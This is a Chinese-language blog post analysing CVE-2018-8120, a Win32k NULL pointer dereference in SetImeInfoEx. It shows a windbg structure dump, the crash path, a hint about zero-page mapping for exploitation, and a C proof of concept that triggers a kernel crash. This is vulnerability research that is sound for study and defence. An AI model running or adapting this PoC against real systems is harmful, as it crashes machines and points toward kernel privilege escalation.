CVE-2018-8120

SetImeInfoEx Win32k NULL Pointer Dereference ,可以自己控制 的NULL Pointer是可认的,因为可以0地址映射利用,不可控的很难认,这也就是我之前的提交被拒绝原因。

调用流程:
NtUserSetImeInfoEx->SetImeInfoEx(a1,a2)

a1是tagWINDOWSTATION结构,可以自己利用CreateWindowStationW&&
SetProcessWindowStation去创建与进程相关的tagWINDOWSTATION,,重点是,使用CreateWindowStation() 新建的tagWINDOWSTATION对象其偏移0×14位置的spklList字段的值默认是零。

NtUserSetImeInfoEx代码中有如下一句:

v4 = _GetProcessWindowStation(0);

这也是促使我们联想使用上述2个函数创建tagWINDOWSTATION的原因。就算不知道tagWINDOWSTATION对象其偏移0×14创建是0,也可以BSOD,再分析提交即可!

windbg如下打印:

dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void

看ida如下:

a.png

v3是0,取地址->bsod

!POC:

typedef NTSTATUS __stdcall NtUserSetImeInfoEx(PVOID      
 arg1);

 VOID CVE2018_8120(){

NtUserSetImeInfoEx * _NtUserSetImeInfoEx = 0;
_NtUserSetImeInfoEx = (NtUserSetImeInfoEx *)GetProcAddress(
    GetModuleHandleA("GDI32.dll"), "NtUserSetImeInfoEx");

HWINSTA hSta=CreateWindowStationW(0, 0, READ_CONTROL, 0);

SetProcessWindowStation(hSta);

char ime[0x800];

_NtUserSetImeInfoEx((PVOID)&ime);

}
int _tmain(int argc, _TCHAR* argv[]) 
{
    CVE2018_8120();
    return 0;
}

参考链接:https://www.freebuf.com/vuls/174183.html

你可能感兴趣的:(CVE-2018-8120)